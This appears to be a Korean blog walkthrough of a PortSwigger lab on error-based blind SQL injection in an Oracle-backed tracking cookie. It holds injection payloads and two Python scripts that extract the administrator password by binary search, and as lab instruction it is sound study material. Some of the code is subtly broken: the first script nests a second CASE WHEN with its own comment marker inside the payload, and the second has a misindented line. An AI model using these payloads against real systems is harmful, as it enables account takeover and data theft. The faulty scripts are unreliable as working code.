반응형

문제 링크

https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors

 

 

목표 & 도구

목표: SQL Injection 취약점을 이용하여 administrator 계정의 비밀번호를 알아낸 뒤 해당 계정으로 로그인하는 것입니다.

 

사용도구: Burp Suite

 

 

문제 풀이 - https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors

  • 문제 사이트에 접속하여 문제를 확인합니다. tracking cookie를 사용 중이며 해당 cookie를 통해 SQL query로 질의를 하고 있다는 것을 알 수 있습니다. SQL query로 질의를 했을 때의 결과 값 리턴이 따로 없지만 sql query 문으로 에러를 유발하면 웹 애플리케이션이 에러 메시지를 반환한다는 것도 알 수 있습니다. ACCESS THE LAB 버튼을 클릭하여 웹 페이지에 접속합니다.

 

  • LAB에 접속했을 때의 요청 및 응답을 Burp Suite를 사용해 취득한 한 뒤 TrackingId 쿠키가 설정되어 있는 것을 확인합니다.

 

  • 문제에서 설명했듯이 TrackingId 쿠키는 SQL query 문을 수행하는데 사용되고 있고 에러를 유발하면 웹 애플리케이션이 에러 메시지를 반환한다고 했기 때문에 TrackingId  쿠키에 싱글 쿼터를 삽입해 보면 에러 메시지를 반환하고 있는 것을 볼 수 있습니다.

 

  • 주석을 사용할 수 있는지 확인합니다. 실제 sql query 문 마지막에 남는 싱글 쿼터가 주석에 의해 처리되었기 때문에 웹 페이지가 정상적으로 보이고 있는 것을 알 수 있고 이를 통해 주석이 사용 가능하다는 것을 알 수 있습니다.

 

  •  sql query 문 조건식이 참이 되도록 하는 sql query 문을 구성하여 요청을 보내고 응답을 확인해 보면 정상적으로 웹 페이지가 반환되고 있는 것을 확인합니다.

 

  • sql query 문 조건식이 거짓이 되도록 하는 sql query 문을 구성해서 요청을 보내봐도 응답 결과는 똑같다는 것을 알 수 있고 단순히 조건식이 참, 거짓에 의한 응답 결과의 차이를 보고 data 추출을 할 수 없다는 것을 알 수 있습니다.

 

  • 참, 거짓 응답 결과가 다름에 따른 data 추출은 할 수 없지만 해당 LAB 문제에서는 에러 발생 시 에러 메시지를 반환하기 때문에 에러를 유발하는 sql query 문을 구성하면 참, 거짓을 이용한 응답 결과가 다름에 따른 data 추출을 할 수 있게 됩니다.

[페이로드(입력 값)]

- case when 구문 조건 참일 때
페이로드:
TrackingId=uUveEoJDaHYuGguk' and 1 = (case when (1=1) then to_number(1/0) else 1 end)--; 

- case when 구문 조건 거짓일 때
페이로드: TrackingId=uUveEoJDaHYuGguk' and 1 = (case when (1=2) then to_number(1/0) else 1 end)-- ;

[설명]
해당 LAB 문제에서 sql query 문을 구성할 때 에러를 유발하도록 하면 응답을 받았을 때 에러 메시지가 반환되는 것을 알 수 있습니다. 따라서 case when 구문의 조건을 이용한 참, 거짓에 따른 응답 결과를 통해 data 추출을 할 수 있게 됩니다.

* 페이로드 분석
to_number() 함수는 Oracle DB에서 문자열을 숫자로 변환해 주는 함수입니다. Oracle의 경우 1/0 과 같은 계산은 에러가 발생하기 때문에 to_number(1/0)으로 작성하면 에러가 발생하게 됩니다. 1 =  case when (조건) then to_number(1/0) else 1 end에서 조건이 참이면  to_number(1/0)에 의해 에러가 발생하므로 에러 메시지가 반환되고 조건이 거짓이면 1을 반환합니다. 1을 반환하면  1 = 1-- 이 되기 때문에 에러가 발생하지 않아 정상적인 웹 페이지를 반환하게 됩니다.

정리해 보면 case when 구문 조건이 참일 때(1=1) 응답 결과를 보면 에러 메시지를 반환하고 거짓일 때(1=2) 응답 결과를 보면 정상적인 웹 페이지를 반환하고 있는 것을 알 수 있었습니다. 조건이 참, 거짓이느냐에 따라 에러 발생 유무가 정해지며 그에 따른 결과가 다르기 때문에 다름을 이용하여 Blind SQL Injection처럼 data를 추출할 수 있게 됩니다.

 

[case when 구문 조건 참일 때]

 

[case when 구문 조건 거짓일 때]

 

  • 에러 유무에 따른 응답 결과를 통해 data를 추출할 수 있도록 Python scirpt를 제작합니다. (직접 입력하는 것도 가능하지만 상당히 오래 걸리기 때문에 Python 코드를 제작하는 것이 좋습니다.)

[administrator passowrd 추출 - python script]

# 주석 사용 버전
import string
import requests

url = "https://0ada005104420d0780bb089800b00070.web-security-academy.net/"

# session, TrackingId는 자신이 가지고 있는 값을 사용합니다.
session = "jTeRDnbRbQIgMz8DasJdL8L0wNLNjszJ"
TrackingId = "uUveEoJDaHYuGguk"

# 문제에서 administrator 계정의 정보는 users table에 있다고 언급이 되었고
# users table의 column은 username column과, password column이 있다고 했기 때문에
# administrator의 password 길이를 알아내고 해당 길이만큼 반복문을 돌리면서
# data를 추출할 수 있습니다.

# administrator password 길이 찾는 함수 
def find_admin_pw_len():

	# 이진 탐색법 적용
    low = 1
    high = 256

    while low < high:
        mid = (low + high) // 2
        query = (
            f"(select length(password) from users where username='administrator') > {mid} "
        )

        cookies = {
            "session" : f"{session}",
            "TrackingId" : f"{TrackingId}' and (case when ({query}) then to_number(1/0) else 1 end)--"
        }

        response = requests.get(url, cookies=cookies)
        # print(response.text)
        # print(mid)

        if "Internal Server Error" in response.text:
            low = mid + 1
        else:
            high = mid

    return (low)

# administrator password 추출
def find_admin_pw():

    admin_pw = ''
    # administrator password 길이를 저장
    admin_pw_len = find_admin_pw_len()

	# administrator password 길이만큼 반복하면서
    # data추출
    for i in range(1, admin_pw_len+1):
    
    	# 이진 탐색법 적용
        low = 32
        high = 127

        while low < high:
            mid = (low + high) // 2
            query = (
                f"(case when (ascii(substr((select password from users where username='administrator'), {i}, 1)) > {mid}) then to_number(1/0) else 1 end)--"
            )

            cookies = {
                "session" : f"{session}",
                "TrackingId" : f"{TrackingId}' and (case when ({query}) then to_number(1/0) else 1 end)--"
            }

            response = requests.get(url, cookies=cookies)
            # print(response.text)
            # print(mid)

            if "Internal Server Error" in response.text:
                low = mid + 1
            else:
                high = mid
        
        admin_pw += chr(low)

    return admin_pw

print(f"administrator의 password: {find_admin_pw()}")

 

  • 코드를 실행해 보면 다음과 같이 administrator 계정의 password를 얻어낼 수 있게 됩니다.

 

  • 웹 페이지로 돌아가서 My account를 클릭합니다.

 

  • 알아낸 administrator의 ID, Password를 입력합니다.

 

  • administrator 계정으로 로그인에 성공하며 문제를 해결하게 됩니다.

 

+) 주석을 사용하지 않고 data를 추출하는 페이로드입니다.

  • 주석을 사용하지 않고 case when 구문을 이용해서 에러를 유발하는 sql query 문 입니다.

[페이로드(입력 값)]

- case when 구문 조건 참일 때
페이로드:
TrackingId=uUveEoJDaHYuGguk '|| (select case when (1=1) then to_char(1/0) else '' end from dual) ||' ; 

- case when 구문 조건 거짓일 때
페이로드: TrackingId=uUveEoJDaHYuGguk'|| (select case when (1=2) then to_char(1/0) else '' end from dual) ||';

[설명]
주석을 사용한 페이로드와 동일하게 case when 구문의 조건을 이용한 참, 거짓에 따른 data 추출을 할 수 있게 됩니다.

* 페이로드 분석
to_char() 함수는 Oracle DB에서 숫자나, 날짜 등을 문자열로 변환해 주는 함수입니다. Oracle의 경우 1/0 과 같은 계산은 에러가 발생하기 때문에 to_char(1/0)으로 작성하면 에러가 발생하게 됩니다. 주의할 점은 해당 페이로드를 이용할 때는 to_number() 함수가 아닌 to_char()  함수를 사용해야 합니다. 
이거 때문에 한참동안 해결을 못했었습니다.
 
 ||  연산자는 Oracle에서 문자열을 합쳐주는 연산자입니다. 

uUveEoJDaHYuGguk '|| (select case when (1=1) then to_char(1/0) else '' end from dual) ||'
 에서 조건이 참이면  to_char(1/0)에 의해 에러가 발생하므로 에러 메시지가 반환되고 조건이 거짓이면  ''  (빈 문자열)을 반환합니다. 빈 문자열을 반환하면 uUveEoJDaHYuGguk '|| '' ||' 이기 때문에 원래 정상적인 쿠키 값이었던 uUveEoJDaHYuGguk만 남게 되어 정상적인 sql query 문이 됩니다. 따라서 에러 유무에 따라 응답 결과가 다르기 때문에 data를 추출할 수 있습니다.

 

[case when 구문 조건 참일 때 - 주석 X]

 

[case when 구문 조건 거짓일 때 - 주석 X]

 

  • 에러 유무에 따른 응답 결과를 통해 data를 추출할 수 있도록 Python scirpt를 제작합니다. 

[administrator passowrd 추출 - python script]

# 주석 사용하지 않은 코드
import string
import requests

url = "https://0ada005104420d0780bb089800b00070.web-security-academy.net/"

# session, TrackingId는 자신이 가지고 있는 값을 사용합니다.
session = "jTeRDnbRbQIgMz8DasJdL8L0wNLNjszJ"
TrackingId = "uUveEoJDaHYuGguk"

# 문제에서 administrator 계정의 정보는 users table에 있다고 언급이 되었고
# users table의 column은 username column과, password column이 있다고 했기 때문에
# administrator의 password 길이를 알아내고 해당 길이만큼 반복문을 돌리면서
# data를 추출할 수 있습니다.

# administrator password 길이 찾는 함수 
def find_admin_pw_len():

	# 이진 탐색법 적용	
    low = 1
    high = 256

    while low < high:
        mid = (low + high) // 2
        query = (
            f"(select length(password) from users where username ='administrator') > {mid}"
        )

        cookies = {
            "session" : f"{session}",
            "TrackingId" : f"{TrackingId}'|| (select case when ({query}) then to_char(1/0) else '' end from dual) ||'"
        }

        response = requests.get(url, cookies=cookies)
        # print(response.text)
        # print(mid)

        if "Internal Server Error" in response.text:
            low = mid + 1
        else:
            high = mid

    return (low)

# administrator password 추출 함수
def find_admin_pw():
   
    admin_pw = ''
    # administrator password 길이를 저장
	admin_pw_len = find_admin_pw_len()

    # administrator password 길이만큼 반복하면서
    # data추출
    for i in range(1, admin_pw_len+1):
    
    	# 이진 탐색법 적용
        low = 32
        high = 127

        while low < high:
            mid = (low + high) // 2
            query = (
                f"ascii(substr((select password from users where username ='administrator'), {i}, 1)) > {mid}"
            )

            cookies = {
                "session" : f"{session}",
                "TrackingId" : f"{TrackingId}'|| (select case when ({query}) then to_char(1/0) else '' end from dual) ||'"
            }

            response = requests.get(url, cookies=cookies)
            # print(response.text)
            # print(mid)

            if "Internal Server Error" in response.text:
                low = mid + 1
            else:
                high = mid
        
        admin_pw += chr(low)

    return admin_pw

print(f"administrator의 password: {find_admin_pw()}")

 

  • 코드를 실행해 보면 다음과 같이 administrator 계정의 password를 얻어낼 수 있게 됩니다.

 

  • 웹 페이지로 돌아가서 My account를 클릭합니다.

 

  • 알아낸 administrator의 ID, Password를 입력합니다.

 

  • administrator 계정으로 로그인에 성공하며 문제를 해결하게 됩니다.

반응형

+ Recent posts